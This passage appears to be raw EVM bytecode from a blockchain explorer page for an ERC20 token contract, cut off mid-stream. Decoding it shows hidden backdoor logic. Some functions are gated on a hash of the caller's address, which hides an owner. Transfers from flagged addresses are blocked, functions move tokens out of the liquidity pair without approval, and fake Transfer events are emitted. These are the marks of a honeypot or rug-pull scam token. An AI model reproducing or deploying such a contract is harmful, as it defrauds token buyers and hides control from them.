65b60405161031191906128a3565b60405180910390f35b610334600480360381019061032f91906122ab565b610983565b60405161034191906128a3565b60405180910390f35b610364600480360381019061035f91906123d8565b61099b565b6040516103719190612766565b60405180910390f35b610382610a40565b60405161038f919061274b565b60405180910390f35b6103b260048036038101906103ad91906122ab565b610a66565b6040516103bf9190612766565b60405180910390f35b6103e260048036038101906103dd91906122ab565b610a86565b6040516103ef91906128a3565b60405180910390f35b610412600480360381019061040d91906122ab565b610b58565b60405161041f9190612766565b60405180910390f35b610430610b78565b60405161043d919061274b565b60405180910390f35b61044e610b9e565b60405161045b9190612781565b60405180910390f35b61047e60048036038101906104799190612418565b610c30565b005b61049a600480360381019061049591906122ab565b610ce4565b6040516104a79190612766565b60405180910390f35b6104ca60048036038101906104c591906123d8565b610d04565b6040516104d79190612766565b60405180910390f35b6104fa60048036038101906104f591906123d8565b610dc3565b6040516105079190612766565b60405180910390f35b610518610dda565b6040516105259190612766565b60405180910390f35b610548600480360381019061054391906122ab565b610ded565b6040516105559190612766565b60405180910390f35b610566610e0d565b604051610573919061274b565b60405180910390f35b610584610e33565b6040516105919190612766565b60405180910390f35b6105a2610e46565b6040516105af919061274b565b60405180910390f35b6105d260048036038101906105cd9190612305565b610e6c565b6040516105df91906128a3565b60405180910390f35b61060260048036038101906105fd91906122ab565b610ef3565b005b600e6020528060005260406000206000915054906101000a900460ff1681565b601c5460023360405160200161063a9190612719565b6040516020818303038152906040526040516106569190612734565b602060405180830381855afa158015610673573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610696919061248c565b146106a0576106f8565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60606003805461070b90612a11565b80601f016020809104026020016040519081016040528092919081815260200182805461073790612a11565b80156107845780601f1061075957610100808354040283529160200191610784565b820191906000526020600020905b81548152906001019060200180831161076757829003601f168201915b5050505050905090565b600061079b338484610fb4565b6001905092915050565b601c546002336040516020016107bb9190612719565b6040516020818303038152906040526040516107d79190612734565b602060405180830381855afa1580156107f4573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610817919061248c565b1461082157610871565b610870601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361117f565b5b50565b60266020528060005260406000206000915054906101000a900460ff1681565b6000600654905090565b60006108ab848484611470565b61095e843361095985604051806060016040528060288152602001612e3a60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dda9092919063ffffffff16565b610fb4565b600190509392505050565b6000600560009054906101000a900460ff1660ff16905090565b601e6020528060005260406000206000915090505481565b6000610a363384610a3185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e90919063ffffffff16565b610fb4565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee906127e3565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610b4e57600754915050610b53565b809150505b919050565b60116020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610bad90612a11565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd990612a11565b8015610c265780601f10610bfb57610100808354040283529160200191610c26565b820191906000526020600020905b815481529060010190602001808311610c0957829003601f168201915b5050505050905090565b60005b84849050811015610cdd57848482818110610c5157610c50612b0e565b5b9050602002016020810190610c6691906122ab565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cc291906128a3565b60405180910390a38080610cd590612a43565b915050610c33565b5050505050565b601d6020528060005260406000206000915054906101000a900460ff1681565b6000610db93384610db485604051806060016040528060258152602001612e6260259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dda9092919063ffffffff16565b610fb4565b6001905092915050565b6000610dd0338484611470565b6001905092915050565b601b60009054906101000a900460ff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601760009054906101000a900460ff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601c54600233604051602001610f099190612719565b604051602081830303815290604052604051610f259190612734565b602060405180830381855afa158015610f42573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610f65919061248c565b14610f6f57610fb1565b80601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612883565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b906127c3565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117291906128a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611256906127a3565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612823565b60405180910390fd5b611331816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161146391906128a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611547906127a3565b60405180910390fd5b60008111611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612843565b60405180910390fd5b6000819050600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116395750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561164f57611649848483611ee6565b50611dd5565b60008390506000600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600042601854601660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f591906128f0565b119050811561170357600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415611dc557600080600080601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516117f19190612734565b6000604051808303816000865af19150503d806000811461182e576040519150601f19603f3d011682016040523d82523d6000602084013e611833565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663d21220a76040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516118cb9190612734565b6000604051808303816000865af19150503d8060008114611908576040519150601f19603f3d011682016040523d82523d6000602084013e61190d565b606091505b509150506000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516119a59190612734565b6000604051808303816000865af19150503d80600081146119e2576040519150601f19603f3d011682016040523d82523d6000602084013e6119e7565b606091505b5091505060008082806020019051810190611a029190612513565b91509150600085806020019051810190611a1c91906122d8565b9050600085806020019051810190611a3491906122d8565b905060008273ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611a82919061274b565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611b0c9190612734565b6000604051808303816000865af19150503d8060008114611b49576040519150601f19603f3d011682016040523d82523d6000602084013e611b4e565b606091505b50915050600081806020019051810190611b6891906124e6565b905060008373ffffffffffffffffffffffffffffffffffffffff16601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051602401611bb6919061274b565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051611c409190612734565b6000604051808303816000865af19150503d8060008114611c7d576040519150601f19603f3d011682016040523d82523d6000602084013e611c82565b606091505b50915050600081806020019051810190611c9c91906124e6565b9050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611d215782881115611d16578288611d089190612946565b9b506015548c119d50611d1c565b8288149c505b611da1565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611da05780871115611d99578087611d8b9190612946565b9b506015548c119d50611d9f565b8087149c505b5b5b8d158015611dad57508c155b611db657600080fd5b50505050505050505050505050505b611dd0878786611ee6565b505050505b505050565b6000838311158290611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e199190612781565b60405180910390fd5b5060008385611e319190612946565b9050809150509392505050565b6000808284611e4d91906128f0565b905083811015611e92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8990612803565b60405180910390fd5b8091505092915050565b6000611ede83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dda565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4d90612863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fc6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fbd906127a3565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015612047576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203e90612823565b60405180910390fd5b612098816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061212b816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516121ca91906128a3565b60405180910390a3505050565b6000813590506121e681612dc6565b92915050565b6000815190506121fb81612ddd565b92915050565b60008083601f84011261221757612216612b42565b5b8235905067ffffffffffffffff81111561223457612233612b3d565b5b6020830191508360208202830111156122505761224f612b47565b5b9250929050565b60008135905061226681612df4565b92915050565b60008151905061227b81612e0b565b92915050565b60008135905061229081612e22565b92915050565b6000815190506122a581612e22565b92915050565b6000602082840312156122c1576122c0612b51565b5b60006122cf848285016121d7565b91505092915050565b6000602082840312156122ee576122ed612b51565b5b60006122fc848285016121ec565b91505092915050565b6000806040838503121561231c5761231b612b51565b5b600061232a858286016121d7565b925050602061233b858286016121d7565b9150509250929050565b60008060006060848603121561235e5761235d612b51565b5b600061236c868287016121d7565b935050602061237d868287016121d7565b925050604061238e86828701612281565b9150509250925092565b600080604083850312156123af576123ae612b51565b5b60006123bd858286016121d7565b92505060206123ce85828601612257565b9150509250929050565b600080604083850312156123ef576123ee612b51565b5b60006123fd858286016121d7565b925050602061240e85828601612281565b9150509250929050565b6000806000806060858703121561243257612431612b51565b5b600085013567ffffffffffffffff8111156124505761244f612b4c565b5b61245c87828801612201565b9450945050602061246f878288016121d7565b925050604061248087828801612281565b91505092959194509250565b6000602082840312156124a2576124a1612b51565b5b60006124b08482850161226c565b91505092915050565b6000602082840312156124cf576124ce612b51565b5b60006124dd84828501612281565b91505092915050565b6000602082840312156124fc576124fb612b51565b5b600061250a84828501612296565b91505092915050565b6000806040838503121561252a57612529612b51565b5b600061253885828601612296565b925050602061254985828601612296565b9150509250929050565b61255c8161297a565b82525050565b61257361256e8261297a565b612a8c565b82525050565b6125828161299e565b82525050565b6000612593826128be565b61259d81856128d4565b93506125ad8185602086016129de565b80840191505092915050565b60006125c4826128c9565b6125ce81856128df565b93506125de8185602086016129de565b6125e781612b56565b840191505092915050565b60006125ff6023836128df565b915061260a82612b74565b604082019050919050565b60006126226022836128df565b915061262d82612bc3565b604082019050919050565b60006126456022836128df565b915061265082612c12565b604082019050919050565b6000612668601b836128df565b915061267382612c61565b602082019050919050565b600061268b6026836128df565b915061269682612c8a565b604082019050919050565b60006126ae6029836128df565b91506126b982612cd9565b604082019050919050565b60006126d16025836128df565b91506126dc82612d28565b604082019050919050565b60006126f46024836128df565b91506126ff82612d77565b604082019050919050565b612713816129d4565b82525050565b60006127258284612562565b60148201915081905092915050565b60006127408284612588565b915081905092915050565b60006020820190506127606000830184612553565b92915050565b600060208201905061277b6000830184612579565b92915050565b6000602082019050818103600083015261279b81846125b9565b905092915050565b600060208201905081810360008301526127bc816125f2565b9050919050565b600060208201905081810360008301526127dc81612615565b9050919050565b600060208201905081810360008301526127fc81612638565b9050919050565b6000602082019050818103600083015261281c8161265b565b9050919050565b6000602082019050818103600083015261283c8161267e565b9050919050565b6000602082019050818103600083015261285c816126a1565b9050919050565b6000602082019050818103600083015261287c816126c4565b9050919050565b6000602082019050818103600083015261289c816126e7565b9050919050565b60006020820190506128b8600083018461270a565b92915050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b60006128fb826129d4565b9150612906836129d4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561293b5761293a612ab0565b5b828201905092915050565b6000612951826129d4565b915061295c836129d4565b92508282101561296f5761296e612ab0565b5b828203905092915050565b6000612985826129b4565b9050919050565b6000612997826129b4565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b838110156129fc5780820151818401526020810190506129e1565b83811115612a0b576000848401525b50505050565b60006002820490506001821680612a2957607f821691505b60208210811415612a3d57612a3c612adf565b5b50919050565b6000612a4e826129d4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612a8157612a80612ab0565b5b600182019050919050565b6000612a9782612a9e565b9050919050565b6000612aa982612b67565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b60008160601b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f62616c616e636520717565727920666f7220746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dcf8161297a565b8114612dda57600080fd5b50565b612de68161298c565b8114612df157600080fd5b50565b612dfd8161299e565b8114612e0857600080fd5b50565b612e14816129aa565b8114612e1f57600080fd5b50565b612e2b816129d4565b8114612e3657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f06a4366e0f32142e56b7010b57aa932f298f0a0ffb04644c650ecbd4696575d64736f6c63430008060033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101c35760003560e01c80637a4ec165116100f9578063a9991d5011610097578063d3ec594711610071578063d3ec59471461057c578063dab3aa891461059a578063dd62ed3e146105b8578063e5f6c91d146105e8576101c3565b8063a9991d5014610510578063c03ac54b1461052e578063c45a01551461055e576101c3565b8063983bc41b116100d3578063983bc41b146104645780639c3cad8b14610480578063a457c2d7146104b0578063a9059cbb146104e0576101c3565b80637a4ec165146103f8578063927f3d411461042857806395d89b4114610446576101c3565b806323b872dd116101665780633950935111610140578063395093511461034a57806349bd5a5e1461037a5780634f53abc51461039857806370a08231146103c8576101c3565b806323b872dd146102cc578063313ce567146102fc5780633772ff091461031a576101c3565b8063095ea7b3116101a2578063095ea7b3146102325780630d99c93114610262578063100527011461027e57806318160ddd146102ae576101c3565b80622752d7146101c85780630468c69f146101f857806306fdde0314610214575b600080fd5b6101e260048036038101906101dd91906122ab565b610604565b6040516101ef9190612766565b60405180910390f35b610212600480360381019061020d9190612398565b610624565b005b61021c6106fc565b6040516102299190612781565b60405180910390f35b61024c600480360381019061024791906123d8565b61078e565b6040516102599190612766565b60405180910390f35b61027c600480360381019061027791906124b9565b6107a5565b005b610298600480360381019061029391906122ab565b610874565b6040516102a59190612766565b60405180910390f35b6102b6610894565b6040516102c391906128a3565b60405180910390f35b6102e660048036038101906102e19190612345565b61089e565b6040516102f39190612766565b60405180910390f35b610304610969565b60405161031191906128a3565b60405180910390f35b610334600480360381019061032f91906122ab565b610983565b60405161034191906128a3565b60405180910390f35b610364600480360381019061035f91906123d8565b61099b565b6040516103719190612766565b60405180910390f35b610382610a40565b60405161038f919061274b565b60405180910390f35b6103b260048036038101906103ad91906122ab565b610a66565b6040516103bf9190612766565b60405180910390f35b6103e260048036038101906103dd91906122ab565b610a86565b6040516103ef91906128a3565b60405180910390f35b610412600480360381019061040d91906122ab565b610b58565b60405161041f9190612766565b60405180910390f35b610430610b78565b60405161043d919061274b565b60405180910390f35b61044e610b9e565b60405161045b9190612781565b60405180910390f35b61047e60048036038101906104799190612418565b610c30565b005b61049a600480360381019061049591906122ab565b610ce4565b6040516104a79190612766565b60405180910390f35b6104ca60048036038101906104c591906123d8565b610d04565b6040516104d79190612766565b60405180910390f35b6104fa60048036038101906104f591906123d8565b610dc3565b6040516105079190612766565b60405180910390f35b610518610dda565b6040516105259190612766565b60405180910390f35b610548600480360381019061054391906122ab565b610ded565b6040516105559190612766565b60405180910390f35b610566610e0d565b604051610573919061274b565b60405180910390f35b610584610e33565b6040516105919190612766565b60405180910390f35b6105a2610e46565b6040516105af919061274b565b60405180910390f35b6105d260048036038101906105cd9190612305565b610e6c565b6040516105df91906128a3565b60405180910390f35b61060260048036038101906105fd91906122ab565b610ef3565b005b600e6020528060005260406000206000915054906101000a900460ff1681565b601c5460023360405160200161063a9190612719565b6040516020818303038152906040526040516106569190612734565b602060405180830381855afa158015610673573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610696919061248c565b146106a0576106f8565b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b60606003805461070b90612a11565b80601f016020809104026020016040519081016040528092919081815260200182805461073790612a11565b80156107845780601f1061075957610100808354040283529160200191610784565b820191906000526020600020905b81548152906001019060200180831161076757829003601f168201915b5050505050905090565b600061079b338484610fb4565b6001905092915050565b601c546002336040516020016107bb9190612719565b6040516020818303038152906040526040516107d79190612734565b602060405180830381855afa1580156107f4573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610817919061248c565b1461082157610871565b610870601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361117f565b5b50565b60266020528060005260406000206000915054906101000a900460ff1681565b6000600654905090565b60006108ab848484611470565b61095e843361095985604051806060016040528060288152602001612e3a60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dda9092919063ffffffff16565b610fb4565b600190509392505050565b6000600560009054906101000a900460ff1660ff16905090565b601e6020528060005260406000206000915090505481565b6000610a363384610a3185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e90919063ffffffff16565b610fb4565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610af7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aee906127e3565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000811415610b4e57600754915050610b53565b809150505b919050565b60116020528060005260406000206000915054906101000a900460ff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060048054610bad90612a11565b80601f0160208091040260200160405190810160405280929190818152602001828054610bd990612a11565b8015610c265780601f10610bfb57610100808354040283529160200191610c26565b820191906000526020600020905b815481529060010190602001808311610c0957829003601f168201915b5050505050905090565b60005b84849050811015610cdd57848482818110610c5157610c50612b0e565b5b9050602002016020810190610c6691906122ab565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cc291906128a3565b60405180910390a38080610cd590612a43565b915050610c33565b5050505050565b601d6020528060005260406000206000915054906101000a900460ff1681565b6000610db93384610db485604051806060016040528060258152602001612e6260259139600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dda9092919063ffffffff16565b610fb4565b6001905092915050565b6000610dd0338484611470565b6001905092915050565b601b60009054906101000a900460ff1681565b600f6020528060005260406000206000915054906101000a900460ff1681565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601760009054906101000a900460ff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601c54600233604051602001610f099190612719565b604051602081830303815290604052604051610f259190612734565b602060405180830381855afa158015610f42573d6000803e3d6000fd5b5050506040513d601f19601f82011682018060405250810190610f65919061248c565b14610f6f57610fb1565b80601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611024576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101b90612883565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611094576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108b906127c3565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117291906128a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e690612863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561125f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611256906127a3565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156112e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d790612823565b60405180910390fd5b611331816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9c90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113c4816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e3e90919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161146391906128a3565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d790612863565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611550576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611547906127a3565b60405180910390fd5b60008111611593576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158a90612843565b60405180910390fd5b6000819050600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806116395750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561164f5